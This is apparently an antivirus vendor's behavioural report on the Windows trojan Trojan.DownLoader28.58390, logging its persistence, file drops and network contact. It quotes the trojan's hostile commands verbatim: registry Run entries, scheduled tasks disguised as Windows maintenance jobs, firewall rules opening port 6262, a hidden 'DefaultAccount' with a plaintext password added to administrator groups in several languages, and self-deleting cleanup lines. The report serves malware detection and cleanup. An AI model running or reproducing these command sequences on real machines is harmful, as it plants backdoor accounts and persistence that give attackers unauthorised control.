Trojan.DownLoader28.58390

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[\REGISTRY\USER\S-1-5-18\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'GoogleChrome' = '\Chrome\chrome.exe'
[\REGISTRY\USER\S-1-5-18\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'GoogleChrome' = '<SYSTEM32>\config\systemprofile\AppData\Roaming\Chrome\chrome.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\microsoft\windows\defrag\defragment system
<SYSTEM32>\tasks\microsoft\windows\wdi\wmg
<SYSTEM32>\tasks\microsoft\windows\ras\system
<SYSTEM32>\tasks\microsoft\windows\chkdsk\checkdesk
<SYSTEM32>\tasks\microsoft\windows\upnp\upnp
<SYSTEM32>\tasks\microsoft\windows\windows error reporting\manage error
<SYSTEM32>\tasks\microsoft\windows\mui\manangement
<SYSTEM32>\tasks\microsoft\windows\multimedia\system

Malicious functions

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /IM WsAppService.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM AAS.exe /F
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Intelegent Service" dir=in action=allow protocol=TCP localport=6262
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Intelegent Services" dir=in action=allow protocol=UDP localport=6262
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Intelegent Service" dir=out action=allow protocol=TCP localport=6262
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Intelegent Services" dir=out action=allow protocol=UDP localport=6262
'%WINDIR%\syswow64\taskkill.exe' /IM Temp.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM chromes.exe /F

Injects code into

the following user processes:

iexplore.exe

Modifies file system

Creates the following files

<Current directory>\network.vbs
%WINDIR%\ime\imesc\help\ntsvc.ocx
%WINDIR%\ime\imesc\help\service.exe
%WINDIR%\ime\imesc\help\service.ini
%WINDIR%\ime\imesc\help\unins000.dat
%WINDIR%\ime\imesc\help\unins000.exe
%WINDIR%\ime\imesc\help\aas_login.exe
%WINDIR%\ime\imesc\help\aas_login.ini
%WINDIR%\ime\imesc\help\bmp2jpeg.dll
%WINDIR%\ime\imesc\help\deutsch.lng
%WINDIR%\ime\imesc\help\mswinsck.ocx
%WINDIR%\ime\imesc\help\ntsvc.oca
%WINDIR%\ime\imesc\help\service.bat
%WINDIR%\temp\fa5399f6-f026-4fgf-ada3-68dd97\chrome.exe
%TEMP%\chrome\chrome.exe
nul
%WINDIR%\temp\chrome\chrome.exe
%WINDIR%\temp\~df0d74e178e3a95d98.tmp
C:\chrome\chrome.exe
%WINDIR%\syswow64\config\systemprofile\appdata\roaming\chrome\chrome.exe
%WINDIR%\syswow64\config\systemprofile\appdata\roaming\imminent\logs\27-10-2019
%WINDIR%\syswow64\config\systemprofile\appdata\roaming\imminent\path.dat
%WINDIR%\help\windows\chrome.exe
%WINDIR%\ime\imetc\chrome.exe
%WINDIR%\ime\imesc\help\grichisch.lng
%WINDIR%\ime\imesc\help\english.lng
%WINDIR%\ime\imesc\help\htdocs\~snap.jpg
<Current directory>\run-d2.xml
<Current directory>\run-d3.xml
<Current directory>\run-d4.xml
<Current directory>\run1.xml
<Current directory>\run2.xml
<Current directory>\run-d1.xml
<Current directory>\run.xml
<Current directory>\sc.bat
<Current directory>\chrome.exe
<Current directory>\wsappservice.exe
<Current directory>\network2.vbs
<Current directory>\aas.exe
<Current directory>\administrator.xml
%PROGRAMDATA%\microsoft\wsappservice.exe
%WINDIR%\temp\wsappservice.exe
%WINDIR%\ime\imesc\help\htdocs\header.htm
%WINDIR%\ime\imesc\help\htdocs\images\back.jpg
%WINDIR%\ime\imesc\help\htdocs\images\space.gif
%WINDIR%\ime\imesc\help\htdocs\index.htm
%WINDIR%\ime\imesc\help\htdocs\main.css
%WINDIR%\ime\imesc\help\htdocs\main.htm
%WINDIR%\ime\imesc\help\htdocs\menu.htm
<Current directory>\network.bat
%WINDIR%\syswow64\config\systemprofile\appdata\roaming\imminent\monitoring\network.dat
%WINDIR%\syswow64\config\systemprofile\appdata\roaming\imminent\monitoring\system.dat

Sets the 'hidden' attribute to the following files

<Current directory>\network.vbs
<Current directory>\network2.vbs
<Current directory>\sc.bat
<Current directory>\network.bat

Deletes the following files

<Current directory>\sc.bat
<Current directory>\wsappservice.exe
<Current directory>\administrator.xml
<Current directory>\run-d4.xml
<Current directory>\run-d3.xml
<Current directory>\run-d2.xml
<Current directory>\run-d1.xml
%WINDIR%\ime\imetc\chrome.exe
<Current directory>\run2.xml
<Current directory>\run.xml
<Current directory>\network2.vbs
<Current directory>\network.vbs
<Current directory>\chrome.exe
<Current directory>\aas.exe
%WINDIR%\temp\fa5399f6-f026-4fgf-ada3-68dd97\chrome.exe
<Current directory>\run1.xml
%WINDIR%\temp\chrome\chrome.exe

Network activity

Connects to

've#####d200500.ddns.net':22028

UDP

DNS ASK ve#####d200500.ddns.net

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'MouseZ' WindowName: 'Magellan MSWHEEL'

Creates and executes the following

'%WINDIR%\syswow64\wscript.exe' "<Current directory>\Network.vbs"
'%WINDIR%\syswow64\wscript.exe' "<Current directory>\Network2.vbs"
'<Current directory>\aas.exe'
'%WINDIR%\temp\fa5399f6-f026-4fgf-ada3-68dd97\chrome.exe'
'%WINDIR%\temp\wsappservice.exe'
'%WINDIR%\ime\imetc\chrome.exe'
'%TEMP%\chrome\chrome.exe'
'%WINDIR%\ime\imesc\help\service.exe' /run Starts the A-A-S service
'%WINDIR%\temp\chrome\chrome.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\sc.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\Network.bat" "' (with hidden window)
'%WINDIR%\temp\wsappservice.exe' ' (with hidden window)
'%WINDIR%\ime\imetc\chrome.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del "%WINDIR%\Temp\FA5399F6-F026-4FGF-ADA3-68DD97\chrome.exe"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del "%WINDIR%\IME\IMETC\chrome.exe"' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\sc.bat" "
'%WINDIR%\syswow64\net1.exe' user DefaultAccount Q9#b@Wz080 /add
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c net localgroup "administrators" DefaultAccount /ADD & net localgroup "administradores" DefaultAccount /ADD & net localgroup "administratoren" DefaultAccount /ADD & net local...
'%WINDIR%\syswow64\net1.exe' user DefaultAccount Q9#b@Wz080
'%WINDIR%\syswow64\net.exe' user DefaultAccount Q9#b@Wz080
'%WINDIR%\syswow64\net1.exe' user DefaultAccount /active:yes
'%WINDIR%\syswow64\cmd.exe' /c net user DefaultAccount Q9#b@Wz080
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c net user DefaultAccount Q9#b@Wz080
'%WINDIR%\syswow64\cmd.exe' /c net localgroup "administrators" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' user DefaultAccount Q9#b@Wz080 /add
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c net user DefaultAccount Q9#b@Wz080 /add
'%WINDIR%\syswow64\net.exe' user DefaultAccount /active:yes
'%WINDIR%\syswow64\cmd.exe' /c net user DefaultAccount /active:yes
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c net user DefaultAccount /active:yes
'%WINDIR%\syswow64\cmd.exe' /c %WINDIR%\IME\IMESC\HELP\service.bat
'%WINDIR%\syswow64\timeout.exe' 10
'%WINDIR%\syswow64\ping.exe' 1.1.1.1 -n 1 -w 1000
'%WINDIR%\syswow64\cmd.exe' /c net user DefaultAccount Q9#b@Wz080 /add
'%WINDIR%\syswow64\net.exe' localgroup "administratorzy" DefaultAccount /ADD
'%WINDIR%\syswow64\tasklist.exe' /FI "IMAGENAME eq Temp.exe"
'%WINDIR%\syswow64\net.exe' localgroup "administrators" DefaultAccount /ADD
'%WINDIR%\syswow64\cmd.exe' /c taskkill /IM Temp.exe /F
'%WINDIR%\syswow64\cmd.exe' /C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del "%WINDIR%\IME\IMETC\chrome.exe"
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c taskkill /IM Temp.exe /F
'%WINDIR%\syswow64\cmd.exe' /c <DRIVERS>\etc\chromes.exe
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c <DRIVERS>\etc\chromes.exe
'%WINDIR%\syswow64\net1.exe' localgroup "RendszergazdГѓВЎk" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' localgroup "RendszergazdГѓВЎk" DefaultAccount /ADD
'%WINDIR%\syswow64\cmd.exe' /C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del "%WINDIR%\Temp\FA5399F6-F026-4FGF-ADA3-68DD97\chrome.exe"
'%WINDIR%\syswow64\net1.exe' localgroup "administratorzy" DefaultAccount /ADD
'%WINDIR%\syswow64\net1.exe' localgroup "administrateurs" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' localgroup "administrateurs" DefaultAccount /ADD
'%WINDIR%\syswow64\net1.exe' localgroup "ГђВђГђВґГђВјГђВёГђВЅГђВёГ‘ВЃГ‘‚Г‘€ГђВ°Г‘‚ГђВѕГ‘€Г‘‹" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' localgroup "ГђВђГђВґГђВјГђВёГђВЅГђВёГ‘ВЃГ‘‚Г‘€ГђВ°Г‘‚ГђВѕГ‘€Г‘‹" DefaultAccount /ADD
'%WINDIR%\syswow64\net1.exe' localgroup "administratoren" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' localgroup "administratoren" DefaultAccount /ADD
'%WINDIR%\syswow64\net1.exe' localgroup "administrators" DefaultAccount /ADD
'%WINDIR%\syswow64\net.exe' localgroup "administradores" DefaultAccount /ADD
'%WINDIR%\syswow64\net1.exe' localgroup "administradores" DefaultAccount /ADD
'%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c %WINDIR%\IME\IMESC\HELP\service.bat
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\MUI\Manangement"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Chkdsk\CheckDesk"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Ras\System"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\WDI\WMG"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Defrag\Defragment System"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Multimedia\System"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\MUI\Manangement"
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\Windows Error Reporting\Manage Error"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\UPnP\UPnP"
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\UPnP\UPnP"
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\Ras\System"
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\WDI\WMG"
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="Intelegent Services"
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\Defrag\Defragment System"
'%WINDIR%\syswow64\find.exe' /I /N "WsAppService.exe"
'%WINDIR%\syswow64\tasklist.exe' /FI "IMAGENAME eq WsAppService.exe"
'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\Network.bat" "
'%WINDIR%\syswow64\schtasks.exe' /Run /I /tn "Microsoft\Windows\Chkdsk\CheckDesk"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\MUI\Manangement" /F
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run-d4.xml" /tn "Microsoft\Windows\Multimedia\System"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Multimedia\System"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run-d3.xml" /tn "Microsoft\Windows\MUI\Manangement"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run-d2.xml" /tn "Microsoft\Windows\Windows Error Reporting\Manage Error"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run-d1.xml" /tn "Microsoft\Windows\UPnP\UPnP"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\administrator.xml" /tn "Microsoft\Windows\Chkdsk\CheckDesk"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run2.xml" /tn "Microsoft\Windows\Ras\System"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run1.xml" /tn "Microsoft\Windows\WDI\WMG"
'%WINDIR%\syswow64\schtasks.exe' /Create /XML "<Current directory>\run.xml" /tn "Microsoft\Windows\Defrag\Defragment System"
'<SYSTEM32>\taskeng.exe' {664450F5-D059-4160-BC3A-94F7F95DB05D} S-1-5-21-1960123792-2022915161-3775307078-1001:zjwhvarekp\user:Interactive:[1]
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\Multimedia\System" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\Windows Error Reporting\Manage Error" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\UPnP\UPnP" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\Chkdsk\CheckDesk" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\Ras\System" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\WDI\WMG" /F
'%WINDIR%\syswow64\schtasks.exe' /DELETE /tn "Microsoft\Windows\Defrag\Defragment System" /F
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="Intelegent Service"
'%WINDIR%\syswow64\schtasks.exe' /Run /tn "Microsoft\Windows\Windows Error Reporting\Manage Error"
'%WINDIR%\syswow64\find.exe' /I /N "Temp.exe"

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial